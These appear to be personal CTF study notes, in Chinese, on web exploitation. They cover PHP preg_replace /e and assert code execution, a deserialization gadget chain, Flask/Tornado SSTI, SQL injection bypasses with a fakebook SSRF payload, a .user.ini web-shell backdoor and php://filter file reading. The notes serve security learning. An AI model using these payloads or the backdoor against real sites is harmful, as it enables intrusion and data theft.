CTF 综合笔记
目录
PHP 函数利用
preg_replace /e 模式
preg_replace 的 /e 模式从 PHP 5.5 开始废弃,PHP 7 直接移除。
1 | preg_replace(pattern, replacement, subject, limit, count); |
/e 修正符会使 preg_replace() 将替换参数 replacement 当作 PHP 代码执行。在匹配到字符串进行替换时,会先解析替换字符串,然后执行其中的 PHP 代码。
1 | preg_replace('/bad/e', '"g" . (1 - 1 ). (1 - 1) . "d"', "he is a bad boy"); |
例题:攻防世界 ics-05
1 | $pattern = $_GET[pat]; |
使用 /e 执行替换时会执行 replacement 表达式。
构造:
1 | pat=/test/e&rep=phpinfo()&sub=just test |
assert 表达式执行
1 | bool assert(mixed $assertion, string $description) |
$assertion:要验证的表达式。$description:可选,断言失败时输出的自定义描述信息,便于定位问题。
例题:攻防世界 mfw
1 |
|
由于 assert 会直接执行表达式,且 $file 变量可控,可以考虑提前闭合引号注入。
构造:
1 | ?page=') or phpinfo() |
反序列化
PHP 中常见的序列化 / 反序列化函数:
serializeunserialize
反序列化对象如果为已经存在的类,则可能调用魔术方法。
常见魔术方法:
__construct:构造函数,在对应对象实例化时被自动调用。__wakeup:在对象反序列化时调用。__sleep:在对象序列化时被调用。
序列化时会先调用 __sleep 再调用 __destruct,完整调用顺序为:
1 | __sleep -> 变量存在 -> __destruct |
反序列化时,如果有 __wakeup,则会调用 __wakeup 而不是 __construct,逻辑为:
1 | __wakeup / __construct -> 变量存在 |
PHP 相关函数
A instanceof B 运算符:用于判断一个变量是否是某个类、其父类或实现某接口的实例。如果是,返回 true,否则返回 false。
is_callable():用于检测一个变量的值在当前作用域中是否可以作为函数或方法调用,常用于回调验证。
call_user_func():允许调用一个回调函数,并向它传递参数。可以调用全局函数、类方法,甚至闭包。
__invoke():用于让对象像函数一样被调用。当以函数调用方式执行一个对象时,PHP 会自动调用该对象的 __invoke() 方法。此特性自 PHP 5.3.0 起可用,并且必须声明为 public。
file_get_contents():用于本地文件读取或远程读取。如果目标为可执行文件,可能执行后返回结果。常结合 php://filter、data:// 等伪协议实现文件读取或 base64 编码读取。
例题:ezunser
1 |
|
构造序列化 payload:
1 |
|
运行得到:
1 | O:5:"Cache":2:{s:3:"key";s:8:"anything";s:5:"store";O:5:"Store":1:{s:7:"handler";O:11:"FileInvoker":1:{s:4:"file";s:5:"/flag";}}} |
SSTI 模板注入
Flask / Django
基本思路:
- 找到可以调用的类。
- 调用函数读取文件或执行命令。
常用属性:
1 | .__class__ # 查看类属性 |
常用访问链:
1 | __init__ # 初始化类,返回的类型是 function |
命令执行和文件读取方式:
1 | # eval |
文件读取:
1 | # FileLoader |
Tornado
Tornado 使用 {% ... %} 包裹控制语句,用 {{ ... }} 包裹表达式。
1 | # handler |
题目记录
ezssti
过滤数字时,可以通过 __len__() 函数获取数字。
攻防世界 shrine
过滤了正反括号时,可尝试使用 url_for。
SQL 注入
通过注入可以查到数据库中的内容。
1 | -- --+ 的目的是注释后面代码,+ 在 URL 中表示空白符 |
常见过滤绕过
| 被过滤字符 | 绕过方式 | 原理 |
|---|---|---|
| 空格 | /**/ |
在 SQL 中,注释符可作为空白分隔符 |
| 空格 | %0a, %a0 |
使用换行符或不换行空格的编码 |
| 单引号 | 0x Hex |
将字符串转为十六进制,如 'flag' -> 0x666c6167 |
| 关键字 | 双写 / 大小写 | 如 UNunionION 或 uNiOn,视环境而定 |
盲注无回显时,可以借助脚本爆破。
例题:攻防世界 fakebook
常规爆破得到:
- 字段数:4
- 数据库名:
fakebook - 表名:
users - 列名:
no、username、passwd、data
读取 data 得到序列化字符串:
1 | ~O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:14:"http://test.com";} |
通过目录扫描找到关键目录:

方法一:使用 load_file("/var/www/html/flag.php") 读取文件。
方法二:通过修改 blog 值达到 SSRF 的作用。
尝试:
1 | union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+ |
修改后访问,读取到 base64 加密 flag:
1 | <iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg=='> |
文件上传
.user.ini 文件利用
只要 PHP 以 FastCGI 方式运行,就可以尝试使用 .user.ini。
.user.ini 文件可以作为 PHP 配置文件,利用配置项构造后门。
auto_append_file:指定一个文件,自动包含在要执行的文件后。auto_prepend_file:指定一个文件,自动包含在要执行的文件前。
示例目录:
1 | |-- .user.ini // 配置文件 |
.user.ini 内容:
1 | auto_prepend_file=shell.jpg |
shell.jpg 内容:
1 | GIF89a |
访问网站任意 PHP 文件时,就会自动执行 shell.jpg 中的 PHP 代码。
文件包含
include
include(flag.php) 会执行文件中的 PHP 代码并输出结果。如果遇到无法解析的部分,会直接输出文件原本内容。
因此可以结合 PHP 伪协议读取源码。
php://filter
php://filter 是 PHP 的过滤协议,作用是读取文件内容时,先经过指定过滤器处理,再返回处理后的内容。
核心用法:
1 | php://filter/[过滤器]/resource=[目标文件] |
常用过滤器:
convert.base64-encode:将文件内容转成 base64 编码。convert.iconv.输入编码.输出编码:进行编码转换。
常见编码方式:
1 | UCS-4* |
file_get_contents 与 data://
file_get_contents(flag.php) 用于读取指定资源的内容。
data://[数据类型],[数据内容] 的作用是直接将协议后面的文本或编码数据作为虚拟文件内容返回。
核心用法:
1 | data://[数据类型],[数据内容] |
示例数据类型:
1 | text/plain |
工具使用
githack
用于利用 Git 泄露。
1 | http://target.com/.git |
1 | python3 githack.py http://target.com/.git/_ |
在 githack.py 同一目录下会新建网站泄露文件。
dirsearch
目录扫描工具。
1 | python dirsearch.py -h |
fenjing
自动化 SSTI 注入工具。
在 fenjing 文件目录下运行:
1 | python -m fenjing.webui |
项目结构
Django
1 | myproject/ # 项目根目录(项目名称) |
settings.py
作用:项目核心配置文件,定义数据库、应用、静态文件、模板等设置。
重要配置项:
INSTALLED_APPS:注册项目使用的应用,包括 Django 内置应用和自定义应用。DATABASES:数据库配置,如 SQLite、PostgreSQL。STATIC_URL和STATIC_ROOT:静态文件路径。TEMPLATES:模板引擎配置。ALLOWED_HOSTS:允许访问的主机,生产环境需要设置。
Django 报错结构:

GBK/GDK 编码宽字节注入
待补充。
Java 原型链污染
待补充。